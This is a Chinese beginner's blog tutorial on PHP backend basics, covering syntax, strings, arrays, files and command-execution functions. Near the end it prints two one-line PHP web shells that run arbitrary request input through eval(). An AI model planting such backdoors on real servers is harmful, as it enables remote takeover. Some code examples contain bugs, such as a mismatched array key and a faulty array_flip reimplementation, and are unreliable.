后端开发入门

写在前面

本文主要为后端开发做个引子,对常见的或者常用的知识做个简介,包括PHP、MySQL等一些入门级知识。

注:补充知识放在文末


PHP

定义与概念

  • PHP是嵌入HTML页面中的脚本语言
  • 是目前最流行的网站开发语言
  • 在几乎所有的平台中都可以运行
  • 很多的企业都在使用PHP作为开发语言

Windows10 Sublime配置

Sublime官网
这里选择windows版下载安装。
步骤如下:

  1. 打开Sublime编辑器,输入如下代码:
    1
    2
    3
    4
    5
    {
    "cmd": ["php", "$file"],
    "file_regex": "php$",
    "selector": "source.php"
    }

一般保存至默认路径即可,如若默认路径有变,则手动选择如下路径:
C:\User(用户)\{YourName}\AppData\Roaming\Sublime Text3\Packages\User\

  1. 添加PHP环境变量:
    phpStudy安装目录中,找到php目录下你想使用的对应php版本,比如这里我选择php-7.0.12-nts。
    进入文件夹,复制路径。

打开系统环境变量添加所复制的路径,这里我使用如下方法:

右击计算机–>属性–>高级系统设置–>环境变量–>系统变量

找到变量Path,编辑并新建值,复制php路径,确认并退出。

  1. 在Sublime编辑器选项卡中依次打开:
    Tools-->Build System-->php
    这里会出现php选项,是由于第一步文件的配置以及第二步环境变量配置均无误,否则将不会出现这个选项。

  2. 配置完成
    快捷键:Ctrl + b即可输出显示php被解释后的运行结果。


基础规范

  1. PHP脚本以<?php开始,以?>结束为规范写法。若为最后一行,可以省略?>
  2. PHP 脚本可以单独存在,也可以与html页面结合
  3. php文件扩展名规范,一般是.php结尾。但是,也可以使用其他命名,如.phtml等,具体是定义在配置文件中的。

数据类型

布尔类型(bool)
整型(int)
浮点型(float)
字符串(string)
资源(resource)
空类型(NULL)
数组(array)
对象(class)

一般可使用var_dump()来查看类型

变量与常量

常量:

一旦赋值不会改变,且应尽量使用大写。
常量分为系统常量和自定义常量。
系统常量可以理解为值不会有改变的量

定义常量

使用PHP中的函数define()定义自定义常量
常量在使用时,不需要$符号
常用定义:Define('ROOT','localhost');

常用系统常量:

__FILE__:php程序文件名/绝对路径
__DIR__:被调用的文件脚本所在目录
__FUNCTION__:函数名
__LINE__:PHP程序文件行数
PHP_VERSION:当前解析器的版本号
PHP_OS:执行当前PHP版本的操作系统名称


变量:

变量以$符开始,后面跟着变量名称
变量必须以字母或下划线字符开始、只能包含字母数字字符以及下划线(A-z、0-9和_)
变量名不能包含空格,且区分大小写。


输入输出

输出:
echo、print、printf、sprintf、print_r、die、var_dump

输入:
cli命令行模式接收参数:三种方式

使用argv数组、使用getopt方法、提示用户输入

argv:

1
2
3
4
5
6
7
8
<?php
/**
* 使用 $argc $argv 接受参数
*/

echo "接收到{$argc}个参数";
print_r($argv);
?>

getopt:

1
2
3
4
5
6
7
8
<?php
/**
* 使用 getopt函数
*/

$param_arr = getopt('a:b:');
print_r($param_arr);
?>

提示用户输入:

1
2
3
4
5
6
7
<?php
/**
* 提示用户输入,类似Python
*/
fwrite(STDOUT,'请输入您的博客名:');
echo '您输入的信息是:'.fgets(STDIN);
?>

php的单双引号都能输出字符串,双引号中内部变量会解析,但在单引号中不会。


EOF

PHP EOF(heredoc)是一种在命令行shell(如sh、csh、ksh、bash、PowerShell和zsh)和程序语言(像Perl、PHP、Python和Ruby)里定义一个字串的方法。

使用概述:

  1. 必须后接分号,否则编译不通过
  2. EOF可以用任意其它字符代替,只需保证结束标识与开始标识一致
  3. 结束标识必须顶格独自占一行,前后不能衔接任何空白字符
  4. 开始标识可以不单引号或双引号,不带引号与带双引号效果一致,均解释内嵌的变量和转义符号,但带单引号则不解释。
  5. 当内容需要内嵌引号(单、双引号)时,不需要加转义符,本身对单双引号转义。

运算符

比较运算符:

大于、小于、等于等运算,它们的结果都是bool值类型

逻辑运算符:

与或非运算
and或&& or或|| not或!
它们的结果都是bool值


字符串操作

常用字符串操作:

. 拼接运算符
addslashes() 将预定义的字符(可能出现歧义的字符)添加反斜杠转义\
bin2hex() 将ASCII字符串转换为16进制
chr() 将指定的ASCII值转换成字符
chop() 移除字符串右侧字符,由自己指定,默认为空白字符
strlen() mb_strlen() 长度计算,区别:mb_strlen可以计算中文字符串长度
crypt() 对字符串单项加密,不可逆转,类似于做MD5值
htmlentities() 将字符串转换为html实体(可用于防御xss攻击)
例如:

1
echo htmlentities("<script>alert(1)</script>");

implode() 返回一个由数组元素组合成的字符串,与explode()作用相反
md5() 计算字符串的MD5值
md5_file() 计算文件的MD5值
str_replace() 替换字符串中的一部分(大小写敏感
str_ireplace() 替换字符串中的一部分(大小写不敏感
str_split() 把字符串分割到数组中,php4/5/7均支持,但无法按照指定的字符来做分割,split函数可以按照指定的字符来分割,与explode函数用法类似,split函数仅可在php4/5中使用,php7废除了此用法
strcmp 比较两个字符串(大小写敏感

UTF-8中,每个中文3字节
GBK中,每个中文2字节
无论什么编码,英文每个字母占1字节


类型转换

  • 强制转换:(数据类型)数据变量

    1
    (int)$var  (string)$var  (float)$var  (bool)$var
  • 使用具体类型函数转换

    1
    intval()  floatval()  strval()
  • 使用通用类型转换函数

    1
    settype(mixed var, string type)

PHP是弱类型

1
2
3
4
5
$a = 1;  $b = true;
var_dump($a == $b); // 结果为true

var_dump((int)$b);
var_dump((int)str_replace("1", "", $a));

数组

定义

数组是特殊的变量,可以在单个变量中同时保存一个或一个以上的值,并可以同通过下标来访问其中某一个的值。用array()函数创建。同时PHP中数组可以存储任意类型的数据。

1
$arr = array('I am', 'a', 'array');

PHP中数组可分为索引数组和关联数组,第三种叫多维数组

索引数组:是指数组的键是整数的数组,且键的整数顺序从0开始
关联数组:是一种具有特殊索引方式的数组。不仅可以通过整数来索引它,还可以使用字符串或者其他类型的值(除了NULL)来索引它。


赋值方式:

  1. 数组变量名后加一个中括号的方式赋值。且键一定为整数。
    $a[1] = 0
  2. array()创建一个空数组,用=>分隔左侧键和右侧值。
  3. array()创建一个空数组,直接在数组里用英文单引号或双引号赋值,数组会默认建立从0开始的整数的键

输出方式

常用:

  1. 直接使用键输出:

    1
    2
    3
    4
    5
    <?php
    $score = array("Math" => "数学");
    $scoreMaths = $score["Maths"];
    echo $scoreMaths;
    ?>
  2. 使用foreach输出:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    $project = array(
    "china" => "语文",
    "Maths" => "数学",
    "English" => "英语"
    );

    foreach ($project as $key => $value) {
    echo "<br />";
    echo $key."是".$value."。";
    }
    echo $project["Maths"];
    ?>

常用操作技巧

  • count()sizeof() 统计数组下标个数,获取数组长度
  • each() 返回当前元素键名和键值,并将内部指针向前移动
  • list() 用于在一次操作中给一组变量赋值
  • sort()、asort()、ksort() 正向排序
  • rsort()、arsort()、krsort() 反向排序
  • array_count_values() 统计数组下标值的个数
  • current() 每个数组都有一个内部指针指向他的当前单元,初始指向插入到数组中的第一个元素
  • array_pad() 数组之间首尾选择性追加
  • unset() 销毁指定的变量
  • array_fill() 用键值填充数组
  • array_combine() 同过合并两个数组来创建一个新数组,其中一个数组元素为键名,另一个为键值
  • array_splice() 从数组中移除元素,并用新元素取代它
  • array_unique() 删除数组中重复值
  • array_flip() 交换数组的键值和值
  • array_search() 搜索数值

函数参数

通过参数列表可以传递信息到函数(以逗号作为分隔符)的表达式列表。参数类似于一个变量,通过传递参数可以使函数实现对参数的运算。
参数可以是任意类型的数据,具体要根据函数功能来确定。


内置函数

常见:
isset() 判断变量是否存在
strlen() 计算字符串长度
var_dump() 输出变量类型和具体内容(常用于调试)
mysql_connect() 链接数据库
function_exists() 判断函数是否存在


练习

编写一个函数,实现计算两个数大小比较,并返回最大值:

1
2
3
4
5
6
7
8
// return the max of the two
function maxofmine($a, $b) {
if($a < $b) {
return $b;
}else {
return $a;
}
}

编写一个函数,实现将两个数的值进行交换,无返回值:

1
2
3
4
// swap two variable's value
function swap(&$a, &$b) {
$tmp = $a; $a = $b; $b = $tmp;
}

用函数实现array_flip()

1
2
3
4
5
6
7
// function array_flip() implementation
function array_flip_mine($array) {
foreach ($array as $key => $value) {
$arraytmp[] = array($value => $key);
}
return $arraytmp;
}


文件操作

打开

fopen()方式打开文件

参数 含义
‘r’ 只读方式打开,将文件指针指向文件头
‘r+’ 读写方式打开,将文件指针指向文件头
‘w’ 写入方式打开,将文件指针指向文件头并将文件大小截为零。若文件不存在则尝试创建
‘w+’ 读写方式打开,将文件指针指向文件头并将文件大小截为零。若文件不存在则尝试创建
‘a’ 写入方式打开,将文件指针指向文件末尾。若文件不存在则尝试创建
‘a+’ 读写方式打开,将文件指针指向文件末尾。若文件不存在则尝试创建

读取

fread() 读取指定长度的字符串
fgets() 读取文件一行内容,并将指针下移一行
file_get_contents() 读取文件全部内容
feof() 检测文件指针是否已到达文件末尾

写入

fwrite() 写入数据

关闭

fclose() 关闭文件

常用函数

filesize() 获取文件大小
is_readable()is_writeable() 判断文件在是否存在的基础上,是否可读或可写
is_filefile_exists 判断指定路径是否存在某个文件


简单命令执行

PHP中执行PHP代码
eval()、assert()

PHP中执行系统命令:
system() 输出并返回最后一行shell结果
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
passthru() 只调用命令,把命令的运行结果原样直接输出至标准输出设备上

其他:
popen()、shell_exec()、proc_open()、pcntl_exec()

一句话木马

PHP脚本版:

1
<?php eval($_GET['a']);?>

Java脚本版(C🔪):

1
<?php eval($_POST['a']);?>


补充知识

解释性语言与编译型语言

  1. 解释型语言

    如:PHPPythonShell
    由上到下解释每一行
    特点:每次使用,每次解释,且需要解释器
    兼容性问题基本没有

  2. 编译型语言

    如:C,C++Java
    需要编译才能执行(将文本文件test.c编译成二进制文件test.exe
    编译后生成二进制文件,让系统执行
    特点:一次编译,多次使用;但跨平台性较弱,需要修改源码。
    比如c语言有如下两个标准:

    c90+win编译标准
    c99+linux编译标准
    他们不能通用


PHP与JSP

PHP适用于小型网站
JSP遵循java语法,且用于大型网站
中型网站两者混用


字符转义

例子:

使用php输出that’s ok

  1. 使用双引号中插入单引号
  2. 使用单引号,但时加上转义字符\

PHP中布尔类型特点

只要“错”就是“空”,但是一旦被赋为某种类型,就与“空”没有关系了

常见网站搭建套路(铁三角)

apache/nginx + php + mysql 开源(php)全家桶
tomcat + jsp + oracle 其中java,oracle不开源
iis + asp + mssql/access 微软全家桶,贵,功能少,质量差(常见于建站早,更换搭建方式代价极高的网站)


防御

以规则对抗规则,即防御规则对抗攻击规则
写100条防御语句,找出一条没被防御到的语句

fuzz:模糊规则

您的支持是我前进的动力!